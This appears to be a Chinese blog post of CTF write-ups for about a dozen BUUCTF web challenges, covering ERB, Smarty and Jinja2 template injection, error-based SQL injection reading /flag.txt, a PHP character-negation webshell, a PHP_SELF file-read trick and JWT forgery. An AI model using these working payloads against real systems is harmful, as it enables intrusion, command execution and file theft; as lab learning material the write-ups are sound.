BUUCTF learn 5

[SCTF2019]Flag Shop

这题考点是erb模板注入,头一次见到这样的题。试一下

打开以后只有三个按钮,挣钱、重置、买flag

然后就没了,扫目录发现robots.txt

/filebak

访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
 
set :public_folder, File.dirname(__FILE__) + '/static'
 
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
 
configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end
 
get "/" do
  redirect '/shop', 302
end
 
get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end
 
get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end
 
get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
 
get "/shop" do
  erb :shop
end
 
get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end
 
  if params[:do] == "#{params[:name][0,7]} is working" then
 
    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("").result
 
  end
end
 
post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
 
  if auth[0]["jkl"] < FLAGPRICE then
 
    json({title: "error",message: "no enough jkl"})
  else
 
    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end
 
 
def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

首先抓包解密一下jwt

吧jkl改成1000000000000000000000000000,但是没有秘钥,从哪里搞呢?

查看源码发现,秘钥在cookie中,

名称我们可控,但是限定字符数量

遍历百度 手把手教你如何完成Ruby ERB模板注入

发现使用$对匹配的字符串进行读取

/work?SECRET=&name=<%=$’%>&do=<%=$’%> is working

符号太多,防止报错url编码绕过

成功回显出cooike

之后jwt加密字符串,在buyflag中修改得到的jwt,解密回显的jwt

得到flag

这题真的太顶了,昨天刚刚接触过过jwt类型的题,但是ruby就傻了。还需要好好学习总结

 


[CSAWQual 2016]i_got_id

打开有有三个页面

文件上传/欢迎页/输入框,输入框fuzz无果、上传文件会直接把文件以文本格式读出

观察url:http://2a2c2513-432b-4de9-862e-51797f6606e1.node3.buuoj.cn/cgi-bin/file.pl

发现pl文件名。

之前做过一道题,(发现是同一道题,那就复习一下吧)

因为上传文件会直接输出文本猜测使用param()函数

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。

//这里文件上传一定要出现两次且第二次需包含文件名才能把flag带出来


[CISCN2019 华北赛区 Day1 Web5]CyberPunk

注释中有?file=

试一下这几个页面,看一下源码

index:

1
2
3
4
5
6
7
8
9
10
11
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}

这编辑器会把html转义,所以只贴php代码

change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
require_once "config.php"; 
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { 
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; 
    $user_name = $_POST["user_name"]; 
    $address = addslashes($_POST["address"]); 
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!'; 
    }
    else{ 
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; 
        $fetch = $db->query($sql);
    }
 
    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}

delete.php和change差不多,就不放出来了

审计后发现address没有任何过滤直接存入数据库,找到点以后常规注入就可

payload
1′ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,20)),0x7e),1)#
1′ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),20,50)),0x7e),1)#

因为buuflag长不能全部读取,所以截取


[CISCN2019 华东南赛区]Web11

这题打开后是一个

全部都是有关于IP的问题, 并且还给了XFF,构造一下发现XFF可以回显,这里就是利用点了,看看怎么利用

尝试输入{{7+7}},发现计算出来了,是ssti了

因为下面给了build smarty。所以百度看一下他的ssti

smarty ssti 可以发现,

{$smarty.version}可以查看版本号,试了一下确实有回显。版本为3.1.30

{if phpinfo()}{/if}可以执行phpinfo,尝试后确实可以,那么如何读取flag文件呢?

可以发现执行了php代码,那我们能不能用这个语句读取flag’呢

尝试输入{if readfile(‘/flag’)}{/if}

发现确实给了flag

 

这里有一张图记录如何判断ssti是什么?

CTF SSTI(服务器模板注入) 这个帖子记录了简单的绕过方式


[BSidesCF 2019]Pick Tac Toe

一个井字棋界面,赢了就能获得flag(赢不了)

查看源码后发现每个旗子的位置

我们点击后发现他是上传到服务器旗子位置后作出回应,我们可以不可以一次上传三个位置呢?

试一下

$.post("/move",{move:"b"});
$.post("/move",{move:"br"});
$.post("/move",{move:"bl"});

获得flag

 


[Zer0pts2020]Can you guess it?

打开后是一个猜数字页面,给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
include 'config.php'; 
// FLAG is defined in config.php
 
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}
 
if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}
 
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}

hash_equals($secret, $guess) 比较hash是否相等,如果相同输出flag,百度以后发现这个函数没有任何漏洞,上面的正则也很难绕过。那么只能从basename函数处的$_SERVER[‘PHP_SELF’]尝试能不能读文件了

百度后发现,如果输入

http://ha1c9on.top/php/index.php/test/foo?username=ha1c9on
$_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo 
$_SERVER['SCRIPT_NAME'] 得到:/php/index.php 
$_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=ha1c9on
从该例子可以看出:

1.$_SERVER['PHP_SELF'] 则反映的是 PHP 程序本身;
2.$_SERVER['SCRIPT_NAME'] 反映的是程序文件本身(这在页面需要指向自己时非常有用);
3.$_SERVER['REQUEST_URI'] 则反映了完整 URL 地址(不包括主机名)。

那么我们现在知道,如果输入index.php/config.php,返回的即为config.php的内容。可是正则过滤了如何绕过呢,我们很容易可以想到%00截断。又因为访问source会返回源码,尝试构造index.php/config.php/%00/?source

发现报错,那么试一下%ff

成功返回flag。


[RootersCTF2019]ImgXweb

考点是JWT伪造。

打开有有注册和登录页面,fuzz一波发现不是sql注入题。注册后发现有上传,各种姿势一个webshell蚁剑连不上,抓包后发现cookie中有类似JWT的加密文字。解密后把user改为user:admin

可是jwt加密需要秘钥。找了半天也没有秘钥,扫一下目录吧!发现robots.txt。给了一个static/secretkey.txt

访问一下就是key了。加密替换cookie刷新就是flag了


 

[RootersCTF2019]I_ ♥ _Flask

这题不难,flask模板ssti一把梭就行,没有任何过滤。tplmap也能直接用。

难点是如何利用ssti,在哪里传入。这里用了一个工具:arjun,支持GET / POST / JSON方法

Arjun这篇文章详细介绍了如何使用。跑出来为name后,ssti传入读flag就行

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==’catch_warnings’ %}{{ c.__init__.__globals__[‘__builtins__’].eval(“__import__(‘os’).popen(‘ls’).read()”) }}{% endif %}{% endfor %}

获得flag


[GYCTF2020]EasyThinking

thinkphp6.0 session漏洞利用

参考:https://www.venustech.com.cn/article/1/11027.html

写入一句话木马后,绕过disable_function读flag即可


[极客大挑战 2019]RCE ME

打开给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
error_reporting(0); 
if(isset($_GET['code'])){ 
    $code=$_GET['code']; 
        if(strlen($code)>40){
            die("This is too Long.");
        }
        if(preg_match("/[A-Za-z0-9]+/",$code)){
            die("NO.");
        }
        @eval($code);
}
else{
        highlight_file(__FILE__);
}

过滤了字母和数字,~取反url编码 ?code=(~%8F%97%8F%96%91%99%90)();

看到phpinfo中过滤了一吨函数

我们写一个webshell链接

<?php
error_reporting(0);
$a=’assert’;
$b=urlencode(~$a);
echo $b;
echo “<br>”;
$c='(eval($_POST[cmd]))’;
$d=urlencode(~$c);
echo $d;
?>

发现有disable_function,蚁剑插件可以直接绕过。读flag就可


[CISCN2019 华东南赛区]Double Secret

打开靶机,给了一行文字“Welcome To Find Secret”,访问secret目录。又给了一行文字“Tell me your secret.I will encrypt it so others can’t see”,那我们传入一个数据看看吧,

随便 传入一个数据后,发现返回了一个加密数字

再试试flag.txt,报错了

发现是python2.7写的flask

且有关键处回显代码:

 if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
    a=render_template_string(safe(deS))
    if 'ciscn' in a.lower():
        return 'flag detected!'
    return a
Open an interactive python shell in this frame
RC4加密,百度找个加密脚本吧?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from urllib import parse
 
def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
 
def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
 
key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

随便找一个读文件的flask注入模板cat /flag.txt即可获得flag


[GXYCTF2019]StrongestMind

打开以后是一个计算器的题,和BUGKU的一道题基本一致,脚本拿来改改直接用就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import re
 
s = requests.Session()
r = s.get("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php")
searchObj = re.findall(r'\d+.[+-].\d+', r.text)
d = {
    "answer": eval(searchObj[0])
    }
r = s.post("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php", data=d)
for i in range(1000):
    searchObj = re.findall(r'\d+.[+-].\d+', r.text)
    d = {
        "answer": eval(searchObj[0])
        }
    #print(d)
    r = s.post("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php", data=d)
print(r.text)

跑一会儿就出flag

发表评论

邮箱地址不会被公开。 必填项已用*标注